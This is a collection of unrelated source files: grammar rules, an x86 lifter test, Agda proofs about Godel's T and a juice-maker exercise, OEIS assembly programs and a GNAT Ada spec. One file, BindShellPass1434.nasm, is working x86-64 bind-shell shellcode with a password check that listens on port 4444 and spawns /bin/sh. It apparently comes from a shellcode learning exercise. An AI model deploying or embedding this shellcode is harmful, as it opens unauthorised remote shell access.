| (ID ('.' | ARROW))? ID OPEN_PAR argument_def? CLOSE_PAR (('.' | ARROW) ID OPEN_PAR argument_def? CLOSE_PAR)* ; argument_def: valued_expression_def (COMMA valued_expression_def)* ; function_def: VOID_T ID OPEN_PAR param_def? CLOSE_PAR block_def | type_def (MULT | OPEN_BRAK INT CLOSE_BRAK)? ID OPEN_PAR param_def? CLOSE_PAR block_def ; param_def: type_def MULT ID (COMMA param_def)* | type_def ID (OPEN_BRAK INT CLOSE_BRAK)? (COMMA param_def)*; block_def: OPEN_KEY (valueless_expression_def SEMICOLON | struct_def)* CLOSE_KEY ; valueless_expression_def: BREAK | CONTINUE | attribute_def | function_call_def | RETURN valued_expression_def | (MULT OPEN_PAR ID CLOSE_PAR | ID) ((ASSIGN | auto_assign_op) valued_expression_def | auto_increm_op) ; struct_def: if_def | for_def | while_def | switch_def ; if_def: IF OPEN_PAR valued_expression_def CLOSE_PAR block_def (ELSE block_def)? ; for_def: FOR OPEN_PAR valued_attribute_def (COMMA valued_attribute_def)* SEMICOLON valued_expression_def SEMICOLON valued_expression_def (COMMA valued_expression_def)* CLOSE_PAR block_def ; valued_attribute_def: type_def (MULT ID | ID OPEN_BRAK INT CLOSE_BRAK) ASSIGN valued_expression_def ; while_def: WHILE OPEN_PAR valued_expression_def CLOSE_PAR block_def ; switch_def: SWITCH OPEN_PAR valued_expression_def CLOSE_PAR OPEN_KEY switch_case_def* switch_default_def CLOSE_KEY ; switch_case_def: CASE value_def TWOPOINTS (valueless_expression_def SEMICOLON | struct_def)+ BREAK SEMICOLON ; switch_default_def: DEFAULT TWOPOINTS (valueless_expression_def SEMICOLON | struct_def)* BREAK SEMICOLON ; main_def: VOID_T MAIN OPEN_PAR INT_T ID COMMA CHAR_T MULT MULT ID CLOSE_PAR block_def ; type_def: INT_T | DOUBLE_T | CHAR_T | BOOL_T | CLASS ID ; value_def: INT | CHAR | STRING | INTEGER | FLOATING | BOOLEAN | NULL ; logical_op: LESS | BIGGER | LESS_EQ | BIGGER_EQ | EQUALS | NOT_EQUALS | AND | OR ; arithmetic_op: PLUS | MINUS | MULT | DIV ; auto_assign_op: AUTOPLUS | AUTOMINUS | AUTOMULT | AUTODIV ; auto_increm_op: INCREM | DECREM ; //! Primitive types INT_T : 'int'; UNSIGNED_T : 'unsigned'; FLOAT_T : 'float'; DOUBLE_T : 'double'; SHORT_T : 'short'; CHAR_T : 'char'; BOOL_T : 'bool'; VOID_T : 'void'; //! Some reserved words IMPORT : 'import'; CLASS : 'class'; PUBLIC : 'public' TWOPOINTS; PRIVATE : 'private' TWOPOINTS; MAIN : 'main'; //! Primitive structs IF : 'if'; ELSE : 'else'; FOR : 'for'; WHILE : 'while'; SWITCH : 'switch'; CASE : 'case'; BREAK : 'break'; CONTINUE: 'continue'; DEFAULT : 'default'; RETURN : 'return'; //! Memory Allocation NEW : 'new' ; FREE : 'free' ; MALLOC : 'malloc' ; DELETE : 'delete' ; SIZEOF : 'sizeof' ; //! Operations and operators ASSIGN : '='; PLUS : '+'; MINUS : '-'; MULT : '*'; DIV : '/'; REF : '&'; ARROW : '->'; INCREM : '++'; DECREM : '--'; AUTOPLUS : '+='; AUTOMINUS : '-='; AUTOMULT : '*='; AUTODIV : '/='; LESS : '<'; BIGGER : '>'; LESS_EQ : '<='; BIGGER_EQ : '>='; EQUALS : '=='; NOT_EQUALS : '!='; AND : '&&'; OR : '||'; //! Control tokens OPEN_PAR : '('; CLOSE_PAR : ')'; OPEN_KEY : '{'; CLOSE_KEY : '}'; OPEN_BRAK : '['; CLOSE_BRAK : ']'; COMMA : ','; SEMICOLON : ';'; TWOPOINTS : ':'; //! Another types NULL : 'null' ; INT : NUMBER+ ; INTEGER : '-'? INT ; BOOLEAN : 'true' | 'false' ; STRING : '"' ~('"')* '"' ; CHAR : '\'' ~('\'') '\'' ; FLOATING: INTEGER ? '.' INT ; ID : ('a'..'z'|'A'..'Z'|'_') ('a'..'z'|'A'..'Z'|'0'..'9'|'_')* ; //! Desconsidered text COMMENT : ('/*' .*? '*/') -> channel(HIDDEN) ; WS : ( ' ' | '\t' | '\r' | '\n') -> channel(HIDDEN) ; LINE_COMMENT: ('//' ~('\n'|'\r')* '\r'? '\n') -> channel(HIDDEN) ; //! Auxiliary datas fragment NUMBER : '0'..'9' ; fragment ESC : '\\' ('b' | 't' | 'n' | 'f' | 'r') ;
mc-sema/validator/x86/tests/FILD_16m.asm
randolphwong/mcsema
2
22301
<filename>mc-sema/validator/x86/tests/FILD_16m.asm BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ;TEST_BEGIN_RECORDING lea edi, [esp-0x08] mov word [edi], 0x0001 FILD word [edi] mov edi, 0 ;TEST_END_RECORDING
Cubical/HITs/KleinBottle/Base.agda
dan-iel-lee/cubical
0
12191
<filename>Cubical/HITs/KleinBottle/Base.agda {- Definition of the Klein bottle as a HIT -} {-# OPTIONS --cubical --no-import-sorts --safe #-} module Cubical.HITs.KleinBottle.Base where open import Cubical.Core.Everything data KleinBottle : Type where point : KleinBottle line1 : point ≡ point line2 : point ≡ point square : PathP (λ i → line1 (~ i) ≡ line1 i) line2 line2
programs/oeis/192/A192543.asm
jmorken/loda
1
80588
<reponame>jmorken/loda ; A192543: Let r be the largest real zero of x^n - x^(n-1) - x^(n-2) - ... - 1 = 0. Then a(n) is the value of k which satisfies the equation 0.5/10^k < 2 - r < 5/10^k. ; 0,1,1,1,2,2,2,3,3,3,4,4,4,4,5,5,5,6,6,6,7,7,7,7,8,8,8,9,9,9,10,10,10,10,11,11,11,12,12,12,13,13,13,13,14,14,14,15,15,15,16,16,16,16,17,17,17,18,18,18,19,19,19,19,20,20,20,21,21,21,22,22,22,22,23,23,23,24,24,24,25,25,25,25,26,26,26,27,27,27,28,28,28,28,29,29,29,30,30,30,31,31,31,32,32,32,32,33,33,33,34,34,34,35,35,35,35,36,36,36,37,37,37,38,38,38,38,39,39,39,40,40,40,41,41,41,41,42,42,42,43,43,43,44,44,44,44,45,45,45,46,46,46,47,47,47,47,48,48,48,49,49,49,50,50,50,50,51,51,51,52,52,52,53,53,53,53,54,54,54,55,55,55,56,56,56,56,57,57,57,58,58,58,59,59,59,60,60,60,60,61,61,61,62,62,62,63,63,63,63,64,64,64,65,65,65,66,66,66,66,67,67,67,68,68,68,69,69,69,69,70,70,70,71,71,71,72,72,72,72,73,73,73,74,74,74,75,75,75,75 lpb $0 mov $1,$0 mov $2,$0 cmp $2,0 mov $3,$0 add $0,$2 div $3,$0 cal $1,34887 ; Number of digits in 2^n. mov $0,$3 sub $0,1 lpe
BindShellPass1434.nasm
rtaylor777/nasm
15
96946
;The MIT License (MIT) ;Copyright (c) 2017 <NAME> ;Permission is hereby granted, free of charge, to any person obtaining a ;copy of this software and associated documentation files (the “Software”), ;to deal in the Software without restriction, including without limitation ;the rights to use, copy, modify, merge, publish, distribute, sublicense, ;and/or sell copies of the Software, and to permit persons to whom the ;Software is furnished to do so, subject to the following conditions: ;The above copyright notice and this permission notice shall be included ;in all copies or substantial portions of the Software. ;The Software is provided “as is”, without warranty of any kind, express or ;implied, including but not limited to the warranties of merchantability, ;fitness for a particular purpose and noninfringement. In no event shall the ;authors or copyright holders be liable for any claim, damages or other ;liability, whether in an action of contract, tort or otherwise, arising ;from, out of or in connection with the software or the use or other ;dealings in the Software. ; ; For a detailed explanation of this shellcode see my blog post: ; http://a41l4.blogspot.ca/2017/02/assignment-1a.html global _start section .text _start: ; Socket push 41 pop rax push 2 pop rdi push 1 pop rsi cdq syscall ; Bind xchg edi,eax ; eax now equals 2, edi equals socket descriptor push rdx push rax ; already has 2 in it mov word [rsp + 2], 0x5c11 ; port 4444 in network byte order (big endian) push rsp pop rsi push rax ; has 2 in it mov al, 49 mov dl, 16 syscall ; Listen mov al, 50 pop rsi ; pops in 2 from the rax push syscall ; Accept push rsp ; rsp points to the 16 byte structure used for the original socket pop rsi push rdx ; still has 16 in it from the Bind call push rsp pop rdx ; now points to where 16 is on stack mov al, 43 syscall xchg eax, edx ; save accepted connection socket for later ; Close push 3 pop rax push rax ; save 3 to be popped into rsi later. syscall ; Dup 2 xchg edx,edi ; puts accepted connection socket into rdi pop rsi dup2loop: mov al, 33 ; rax was left at 0 from the Close syscall dec esi syscall loopnz dup2loop ; Read ; rax and rsi are zero from the result of the last dup2 syscall and loop pop rdx ; pop 16 from stack to indicate bytes to read push rsp pop rsi ; lets use the stack for our buffer. ; RDI still has our sockfd socket descriptor ; RAX is already set to 0 the syscall number for Read syscall pop rsi sub esi, '1434' ; compare with our 4 character password, simultaneously zero rsi jnz _start ; Jump back to the start so we know what causes the segfault ; Execve cdq ; zero rdx, this is safe because we know value of rax should be between 4 and 16 push rdx ; zero terminator for the following string that we are pushing ; push /bin//sh in reverse mov rbx, '/bin//sh' push rbx ; store /bin//sh address in RDI push rsp pop rdi ; Call the Execve syscall mov al, 59 syscall
programs/oeis/130/A130824.asm
neoneye/loda
22
164601
; A130824: a(n) = 2*A004273(n). ; 0,2,6,10,14,18,22,26,30,34,38,42,46,50,54,58,62,66,70,74,78,82,86,90,94,98,102,106,110,114,118,122,126,130,134,138,142,146,150,154,158,162,166,170,174,178,182,186,190,194,198,202,206,210,214,218,222,226,230,234,238,242,246,250,254,258,262,266,270,274,278,282,286,290,294,298,302,306,310,314,318,322,326,330,334,338,342,346,350,354,358,362,366,370,374,378,382,386,390,394 mul $0,4 trn $0,2
src/JuiceMaker.agda
MaisaMilena/JuiceMaker
6
16226
module JuiceMaker where open import Human.Nat hiding (_==_) open import Human.List hiding (remove-last) open import Human.Equality open import Human.Maybe open import Human.Empty Not : (P : Set) -> Set Not P = P -> Empty -- Different from Bool, shows an evidence of why the value is "yes" or "nop" data Dec (P : Set) : Set where yes : P -> Dec P nop : Not P -> Dec P -- Define constructors of what are the types of ingredients available data Ingredient : Set where orange : Ingredient pineapple : Ingredient carrot : Ingredient apple : Ingredient beet : Ingredient cabbage : Ingredient {- Pair is a polimorfic type (as is List). Depends on two types to create a type (Pair of something). Ex: Pair Nat Nat, Pair Nat Ingredient, Pair Bool Bool -} data Pair (A B : Set) : Set where pair : A -> B -> Pair A B --Create a subset (or sigma).Receives a Set and a proof/filter to restricts what items can be part of a subset data Subset (A : Set) (IsOk : A → Set) : Set where subset : (a : A) (b : IsOk a) → Subset A IsOk ---------------------------------------------------------------- ------ Items ------- {- Restricts of which can be the pair of ingredients. Acts like a filter to create a subset of valid Pair Nat Ingredient -} data IsItem : Pair Nat Ingredient → Set where 100-orange : IsItem (pair 100 orange) 50-beet : IsItem (pair 50 beet) -- An Item is a subset of Pair Nat Ingredient that restricts its elements using IsItem filter Item : Set Item = Subset (Pair Nat Ingredient) IsItem {- n: quantity of ml in an item i: a type of ingredient p: a proof that a Pair formed by n and i passed the "filter" of IsItem item-has-ml: returns a proof that an item has n ml -} data ItemHasMl : (n : Nat) → (i : Item) → Set where item-has-ml : (n : Nat) (i : Ingredient) (p : IsItem (pair n i)) → ItemHasMl n (subset (pair n i) p) --- Items --- 100ml-orange : Item 100ml-orange = subset (pair 100 orange) 100-orange 50ml-beet : Item 50ml-beet = subset (pair 50 beet) 50-beet default-items : List Item default-items = 100ml-orange , 100ml-orange , 100ml-orange , end --- Auxiliar --- -- Quantity of ml in an item and a proof that an item has n ml get-ml-item : (i : Item) -> Subset Nat (λ n -> ItemHasMl n i) get-ml-item (subset .(pair 100 orange) 100-orange) = subset 100 (item-has-ml 100 orange 100-orange) get-ml-item (subset .(pair 50 beet) 50-beet) = subset 50 (item-has-ml 50 beet 50-beet) get-ml-item-aux : (i : Item) -> Subset Nat (λ n -> ItemHasMl n i) → Nat get-ml-item-aux i (subset a b) = a -- Get the ingredient in an Item get-ingredient-item : (i : Item) → Ingredient get-ingredient-item (subset (pair ml ing) _) = ing ---------------------------------------------------------------- ------ Juice ------- {- This function helps to proof something about the ml in a list. n: quantity of ml in a list list: list of items empty-list-has-0ml: a proof that 0ml represents an empty list append-item-adds-ml: a proof that adding an item to a list, adds its ml to the result of list's ml -} data ListHasMl : (n : Nat) (list : List Item) → Set where empty-list-has-0ml : ListHasMl 0 end -- receives ml in item, an item, ml is a list, a list. Also, a proof of ItemHasMl and ListHasMl append-item-adds-ml : ∀ it-ml it li-ml li → ItemHasMl it-ml it → ListHasMl li-ml li → ListHasMl (it-ml + li-ml) (it , li) {- Get the quantity of ml in a list by returning the proof that n is the quantity of ml in a list. Obs: the second argument in Subset is something applied to n. λ is used to represents that something (ListhasMl) is applied to n. -} get-ml-list : (list : List Item) -> Subset Nat (λ n → ListHasMl n list) get-ml-list end = subset zero empty-list-has-0ml get-ml-list (it , rest) with get-ml-item it | get-ml-list rest -- "with" acts similar to case, but opening values inside this case get-ml-list (it , rest) | subset it-ml it-ml-pf | subset rest-ml rest-ml-pf = let sum-ml = it-ml + rest-ml append-list-has-sum-ml = append-item-adds-ml it-ml it rest-ml rest it-ml-pf rest-ml-pf in subset sum-ml append-list-has-sum-ml {- IsJuice is a filter indexed in List Item (receives a list of Item), restricts what can become a juice (a proof that it have 300ml), and returns an element of IsJuice, that is, a proof that it was approved to become a juice -} data IsJuice : List Item → Set where juice : ∀ (l : List Item) → (ListHasMl 300 l) -> IsJuice l -- A Juice is a subset of List Item that restricts its elements using IsJuice filter Juice : Set Juice = Subset (List Item) IsJuice -- default-juice : Juice -- default-juice = subset default-items (juice default-items refl) ---------------------------------------------------------------- ----- Events ----- data Event : Set where pick : Item -> Event undo : Event copy : Event -- add again the last element done : Event remove-last : List Item → List Item remove-last end = end remove-last (x , l) = l copy-last : List Item → List Item copy-last end = end copy-last (x , l) = x , x , l -- Look into a list of events and return a list of items event-to-item : List Event -> List Item event-to-item end = end event-to-item (pick x , e) = x , (event-to-item e) -- add element in the list and continues to look into List of Event event-to-item (undo , e) = remove-last (event-to-item e) event-to-item (copy , e) = copy-last (event-to-item e) event-to-item (done , e) = event-to-item e -- Given a list and a proof that the list has a quantity of ml, returns the ml get-ml-list-aux : (l : List Item) → Subset Nat (λ n → ListHasMl n l) → Nat get-ml-list-aux l (subset a b) = a -- goal: Maybe (Subset (List (Subset (Pair Nat Ingredient) IsItem)) IsJuice) make : List Item -> Maybe Juice make end = nothing make (x , l) with make l ... | just m = let it-ml = (get-ml-item-aux x (get-ml-item x)) -- quantity of ml in x li-ml = (get-ml-list-aux l (get-ml-list l)) -- -- is-juice = subset l (juice l (append-item-aadds-ml it-ml x li-ml l (item-has-ml it-ml x) ? )) -- usar o get-ml-list pra provar que o suco tem 300 ml -- is-juice = subset l (juice l (get-ml-list l)) in {! !} -- just (subset l) (juice l is-juice)) ... | nothing = nothing -- pra satisfazer o chefe -- make-always : List Item -> Juice -- make-always items with make items -- ... | yes items-is-juice = subset items (juice items-is-juice) -- ... | no items = default-juice --------------- ---- Test ----- test-list : Nat test-list = (sum (1 , 2 , 3 , 4 , 5 , end)) event-list : List Event event-list = pick 100ml-orange , pick 50ml-beet , pick 50ml-beet , pick 100ml-orange , end -- qtd-juice : Nat -- qtd-juice = sum (map get-ml-item (make event-list)) -- made-juice-has-300-ml-ex : (sum (map get-ml-item (make event-list))) == 300 -- made-juice-has-300-ml-ex = refl -- For all sum of ml in the items, the result must be 300 -- a Nat (value) is different than a proof that this number will always be something -- made-juice-has-300-ml : ∀ (events : List Event) → (sum (map get-ml-item (make events))) == 300 -- made-juice-has-300-ml events = {! !} -- -- -- made-juice-has-5-items : ∀ (events : List Event) → length (map get-ingredient-item (make events)) == 5 -- made-juice-has-5-items = {! !}
Validation/pyFrame3DD-master/gcc-master/gcc/ada/sprint.ads
djamal2727/Main-Bearing-Analytical-Model
0
705
<reponame>djamal2727/Main-Bearing-Analytical-Model<gh_stars>0 ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S P R I N T -- -- -- -- S p e c -- -- -- -- Copyright (C) 1992-2020, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING3. If not, go to -- -- http://www.gnu.org/licenses for a complete copy of the license. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This package (source print) contains routines for printing the source -- program corresponding to a specified syntax tree. These routines are -- intended for debugging use in the compiler (not as a user level pretty -- print tool). Only information present in the tree is output (e.g. no -- comments are present in the output), and as far as possible we avoid -- making any assumptions about the correctness of the tree, so a bad -- tree may either blow up on a debugging check, or list incorrect source. with Types; use Types; package Sprint is ----------------------- -- Syntax Extensions -- ----------------------- -- When the generated tree is printed, it contains constructs that are not -- pure Ada. For convenience, syntactic extensions to Ada have been defined -- purely for the purposes of this printout (they are not recognized by the -- parser). -- Could use more documentation for all of these ??? -- Allocator new xxx [storage_pool = xxx] -- Cleanup action at end procedure name; -- Convert wi Conversion_OK target?(source) -- Convert wi Float_Truncate target^(source) -- Convert wi Rounded_Result target@(source) -- Divide wi Rounded_Result x @/ y -- Expression with actions do action; .. action; in expr end -- Expression with range check {expression} -- Free statement free expr [storage_pool = xxx] -- Freeze entity with freeze actions freeze entityname [ actions ] -- Freeze generic entity freeze_generic entityname -- Implicit call to run time routine $routine-name -- Implicit exportation $pragma import (...) -- Implicit importation $pragma export (...) -- Interpretation interpretation type [, entity] -- Intrinsic calls function-name!(arg, arg, arg) -- Itype declaration [(sub)type declaration without ;] -- Itype reference reference itype -- Label declaration labelname : label -- Multiple concatenation expr && expr && expr ... && expr -- Multiply wi Rounded_Result x @* y -- Operator with overflow check {operator} (e.g. {+}) -- Others choice for cleanup when all others -- Pop exception label %pop_xxx_exception_label -- Push exception label %push_xxx_exception_label (label) -- Raise xxx error [xxx_error [when cond]] -- Raise xxx error with msg [xxx_error [when cond], "msg"] -- Rational literal [expression] -- Reference expression'reference -- Shift nodes shift_name!(expr, count) -- Static declaration name : static xxx -- Unchecked conversion target_type!(source_expression) -- Unchecked expression `(expression) -- Validate_Unchecked_Conversion validate unchecked_conversion -- (src-type, target-typ); -- Note: the storage_pool parameters for allocators and the free node are -- omitted if the Storage_Pool field is Empty, indicating use of the -- standard default pool. ----------------- -- Subprograms -- ----------------- procedure Source_Dump; -- This routine is called from the GNAT main program to dump source as -- requested by debug options. The relevant debug options are: -- -ds print source from tree, both original and generated code -- -dg print source from tree, including only the generated code -- -do print source from tree, including only the original code -- -df modify the above to include all units, not just the main unit -- -sz print source from tree for package Standard procedure Sprint_Comma_List (List : List_Id); -- Prints the nodes in a list, with separating commas. If the list is empty -- then no output is generated. procedure Sprint_Paren_Comma_List (List : List_Id); -- Prints the nodes in a list, surrounded by parentheses, and separated by -- commas. If the list is empty, then no output is generated. A blank is -- output before the initial left parenthesis. procedure Sprint_Opt_Paren_Comma_List (List : List_Id); -- Same as normal Sprint_Paren_Comma_List procedure, except that an extra -- blank is output if List is non-empty, and nothing at all is printed it -- the argument is No_List. procedure Sprint_Node_List (List : List_Id; New_Lines : Boolean := False); -- Prints the nodes in a list with no separating characters. This is used -- in the case of lists of items which are printed on separate lines using -- the current indentation amount. New_Lines controls the generation of -- New_Line calls. If False, no New_Line calls are generated. If True, -- then New_Line calls are generated as needed to ensure that each list -- item starts at the beginning of a line. procedure Sprint_Opt_Node_List (List : List_Id); -- Like Sprint_Node_List, but prints nothing if List = No_List procedure Sprint_Indented_List (List : List_Id); -- Like Sprint_Line_List, except that the indentation level is increased -- before outputting the list of items, and then decremented (back to its -- original level) before returning to the caller. procedure Sprint_Node (Node : Node_Id); -- Prints a single node. No new lines are output, except as required for -- splitting lines that are too long to fit on a single physical line. -- No output is generated at all if Node is Empty. No trailing or leading -- blank characters are generated. procedure Sprint_Opt_Node (Node : Node_Id); -- Same as normal Sprint_Node procedure, except that one leading blank is -- output before the node if it is non-empty. procedure pg (Arg : Union_Id); pragma Export (Ada, pg); -- Print generated source for argument N (like -gnatdg output). Intended -- only for use from gdb for debugging purposes. Currently, Arg may be a -- List_Id or a Node_Id (anything else outputs a blank line). procedure po (Arg : Union_Id); pragma Export (Ada, po); -- Like pg, but prints original source for the argument (like -gnatdo -- output). Intended only for use from gdb for debugging purposes. In -- the list case, an end of line is output to separate list elements. procedure ps (Arg : Union_Id); pragma Export (Ada, ps); -- Like pg, but prints generated and original source for the argument (like -- -gnatds output). Intended only for use from gdb for debugging purposes. -- In the list case, an end of line is output to separate list elements. end Sprint;
old/Godel.agda
benhuds/Agda
2
14687
<filename>old/Godel.agda {- Name: Bowornmet (<NAME> --Progress and Preservation in Godel's T-- Progress: if e:τ, then either e val or ∃e' such that e=>e'. Preservation: if e:τ and e=>e', then e':τ. -} open import Preliminaries module Godel where -- nat and => data Typ : Set where nat : Typ _⇒_ : Typ → Typ → Typ ------------------------------------------ -- represent a context as a list of types Ctx = List Typ -- de Bruijn indices (for free variables) data _∈_ : Typ → Ctx → Set where i0 : ∀ {Γ τ} → τ ∈ (τ :: Γ) iS : ∀ {Γ τ τ1} → τ ∈ Γ → τ ∈ (τ1 :: Γ) ------------------------------------------ -- static semantics data _|-_ : Ctx → Typ → Set where var : ∀ {Γ τ} → (x : τ ∈ Γ) → Γ |- τ z : ∀ {Γ} → Γ |- nat suc : ∀ {Γ} → (e : Γ |- nat) → Γ |- nat rec : ∀ {Γ τ} → (e : Γ |- nat) → (e0 : Γ |- τ) → (e1 : (nat :: (τ :: Γ)) |- τ) → Γ |- τ lam : ∀ {Γ τ ρ} → (x : (ρ :: Γ) |- τ) → Γ |- (ρ ⇒ τ) app : ∀ {Γ τ1 τ2} → (e1 : Γ |- (τ2 ⇒ τ1)) → (e2 : Γ |- τ2) → Γ |- τ1 ------------------------------------------ -- renaming function rctx : Ctx → Ctx → Set rctx Γ Γ' = ∀ {τ} → τ ∈ Γ' → τ ∈ Γ -- re: transferring variables in contexts lem1 : ∀ {Γ Γ' τ} → rctx Γ Γ' → rctx (τ :: Γ) (τ :: Γ') lem1 d i0 = i0 lem1 d (iS x) = iS (d x) -- renaming lemma ren : ∀ {Γ Γ' τ} → Γ' |- τ → rctx Γ Γ' → Γ |- τ ren (var x) d = var (d x) ren z d = z ren (suc e) d = suc (ren e d) ren (rec e e0 e1) d = rec (ren e d) (ren e0 d) (ren e1 (lem1(lem1 d))) ren (lam e) d = lam (ren e (lem1 d)) ren (app e1 e2) d = app (ren e1 d) (ren e2 d) ------------------------------------------ -- substitution sctx : Ctx → Ctx → Set sctx Γ Γ' = ∀ {τ} → τ ∈ Γ' → Γ |- τ -- weakening a context wkn : ∀ {Γ τ1 τ2} → Γ |- τ2 → (τ1 :: Γ) |- τ2 wkn e = ren e iS -- weakening also works with substitution wkn-s : ∀ {Γ τ1 Γ'} → sctx Γ Γ' → sctx (τ1 :: Γ) Γ' wkn-s d = λ f → wkn (d f) wkn-r : ∀ {Γ τ1 Γ'} → rctx Γ Γ' → rctx (τ1 :: Γ) Γ' wkn-r d = λ x → iS (d x) -- lem2 (need a lemma for subst like we did for renaming) lem2 : ∀ {Γ Γ' τ} → sctx Γ Γ' → sctx (τ :: Γ) (τ :: Γ') lem2 d i0 = var i0 lem2 d (iS i) = wkn (d i) -- another substitution lemma lem3 : ∀ {Γ τ} → Γ |- τ → sctx Γ (τ :: Γ) lem3 e i0 = e lem3 e (iS i) = var i -- one final lemma needed for the last stepping rule. Thank you <NAME>! lem4 : ∀ {Γ τ1 τ2} → Γ |- τ1 → Γ |- τ2 → sctx Γ (τ1 :: (τ2 :: Γ)) lem4 e1 e2 i0 = e1 lem4 e1 e2 (iS i0) = e2 lem4 e1 e2 (iS (iS i)) = var i -- the 'real' substitution lemma (if (x : τ') :: Γ |- (e : τ) and Γ |- (e : τ') , then Γ |- e[x -> e'] : τ) subst : ∀ {Γ Γ' τ} → sctx Γ Γ' → Γ' |- τ → Γ |- τ subst d (var x) = d x subst d z = z subst d (suc e) = suc (subst d e) subst d (rec e e0 e1) = rec (subst d e) (subst d e0) (subst (lem2 (lem2 d)) e1) subst d (lam e) = lam (subst (lem2 d) e) subst d (app e1 e2) = app (subst d e1) (subst d e2) ------------------------------------------ -- closed values of L{nat,⇒} (when something is a value) -- recall that we use empty contexts when we work with dynamic semantics data val : ∀ {τ} → [] |- τ → Set where z-isval : val z suc-isval : (e : [] |- nat) → (val e) → val (suc e) lam-isval : ∀ {ρ τ} (e : (ρ :: []) |- τ) → val (lam e) ------------------------------------------ -- stepping rules (preservation is folded into this) -- Preservation: if e:τ and e=>e', then e':τ data _>>_ : ∀ {τ} → [] |- τ → [] |- τ → Set where suc-steps : (e e' : [] |- nat) → e >> e' → (suc e) >> (suc e') app-steps : ∀ {τ1 τ2} → (e1 e1' : [] |- (τ2 ⇒ τ1)) → (e2 : [] |- τ2) → e1 >> e1' → (app e1 e2) >> (app e1' e2) app-steps-2 : ∀ {τ1 τ2} → (e1 : [] |- (τ2 ⇒ τ1)) → (e2 e2' : [] |- τ2) → val e1 → e2 >> e2' → (app e1 e2) >> (app e1 e2') app-steps-3 : ∀ {τ1 τ2} → (e1 : (τ1 :: []) |- τ2) → (e2 : [] |- τ1) → (app (lam e1) e2) >> subst (lem3 e2) e1 rec-steps : ∀ {τ} → (e e' : [] |- nat) → (e0 : [] |- τ) → (e1 : (nat :: (τ :: [])) |- τ) → e >> e' → (rec e e0 e1) >> (rec e' e0 e1) rec-steps-z : ∀ {τ} → (e : val z) → (e0 : [] |- τ) → (e1 : (nat :: (τ :: [])) |- τ) → (rec z e0 e1) >> e0 rec-steps-suc : ∀ {τ} → (e : [] |- nat) → (e0 : [] |- τ) → (e1 : (nat :: (τ :: [])) |- τ) → val e → (rec (suc e) e0 e1) >> subst (lem4 e (rec e e0 e1)) e1 ------------------------------------------ -- Proof of progress! -- Progress: if e:τ, then either e val or ∃e' such that e=>e' progress : ∀ {τ} (e : [] |- τ) → Either (val e) (Σ (λ e' → (e >> e'))) progress (var ()) progress z = Inl z-isval progress (suc e) with progress e progress (suc e) | Inl d = Inl (suc-isval e d) progress (suc e) | Inr (e' , d) = Inr (suc e' , suc-steps e e' d) progress (rec e e1 e2) with progress e progress (rec .z e1 e2) | Inl z-isval = Inr (e1 , rec-steps-z z-isval e1 e2) progress (rec .(suc e) e1 e2) | Inl (suc-isval e d) = Inr (subst (lem4 e (rec e e1 e2)) e2 , rec-steps-suc e e1 e2 d) progress (rec e e1 e2) | Inr (e' , d) = Inr (rec e' e1 e2 , rec-steps e e' e1 e2 d) progress (lam e) = Inl (lam-isval e) progress (app e1 e2) with progress e1 progress (app .(lam e) e2) | Inl (lam-isval e) = Inr (subst (lem3 e2) e , app-steps-3 e e2) progress (app e1 e2) | Inr (e1' , d) = Inr (app e1' e2 , app-steps e1 e1' e2 d) ------------------------------------------ -- Denotational semantics -- interpreting a T type in Agda interp : Typ → Set interp nat = Nat interp (A ⇒ B) = interp A → interp B -- interpreting contexts interpC : Ctx → Set interpC [] = Unit interpC (A :: Γ) = interpC Γ × interp A -- helper function to look a variable up in an interpC gamma lookupC : ∀{Γ A} → (x : A ∈ Γ) → interpC Γ → interp A lookupC i0 (recur , return) = return lookupC (iS i) (recur , return) = lookupC i recur -- primitive recursion function corresponding to rec natrec : ∀{C : Set} → C → (Nat → C → C) → Nat → C natrec base step Z = base natrec base step (S n) = step n (natrec base step n) -- interpreting expressions in Godel's T as a function from the interpretation of the context to the interpretation of its corresponding type interpE : ∀{Γ τ} → Γ |- τ → (interpC Γ → interp τ) interpE (var x) d = lookupC x d interpE z d = Z interpE (suc e) d = S (interpE e d) interpE (rec e e0 e1) d = natrec (interpE e0 d) (λ n k → interpE e1 ((d , k) , n)) (interpE e d) interpE (lam e) d = λ x → interpE e (d , x) interpE (app e1 e2) d = interpE e1 d (interpE e2 d) helper : ∀ {Γ Γ' τ} → sctx Γ (τ :: Γ') → sctx Γ Γ' helper d = λ x → d (iS x) helper-r : ∀ {Γ Γ' τ} → rctx Γ (τ :: Γ') → rctx Γ Γ' helper-r d = λ x → d (iS x) -- compositionality of functions interpS : ∀ {Γ Γ'} → sctx Γ Γ' → interpC Γ → interpC Γ' interpS {Γ} {[]} a b = <> interpS {Γ} {A :: Γ'} a b = interpS (helper a) b , interpE (a i0) b interpR : ∀ {Γ Γ'} → rctx Γ Γ' → interpC Γ → interpC Γ' interpR {Γ} {[]} a b = <> interpR {Γ} {A :: Γ'} a b = interpR (helper-r a) b , lookupC (a i0) b --lemmas for lambda case of interpR-lemma interpR-lemma-lemma-lemma : ∀ {Γ Γ' τ} → (x : interp τ) → (Θ : rctx Γ Γ') → (Θ' : interpC Γ) → (interpR Θ Θ') == interpR (wkn-r Θ) (Θ' , x) interpR-lemma-lemma-lemma {Γ} {[]} x Θ Θ' = Refl interpR-lemma-lemma-lemma {Γ} {A :: Γ'} x Θ Θ' = ap (λ h → h , lookupC (Θ i0) Θ') (interpR-lemma-lemma-lemma x (helper-r Θ) Θ') interpR-lemma-lemma : ∀ {Γ Γ' τ} → (x : interp τ) → (Θ : rctx Γ Γ') → (Θ' : interpC Γ) → (interpR Θ Θ' , x) == (interpR (lem1 Θ) (Θ' , x)) interpR-lemma-lemma {Γ} {[]} x Θ Θ' = Refl interpR-lemma-lemma {Γ} {A :: Γ'} x Θ Θ' = ap (λ h → h , x) (interpR-lemma-lemma-lemma x Θ Θ') 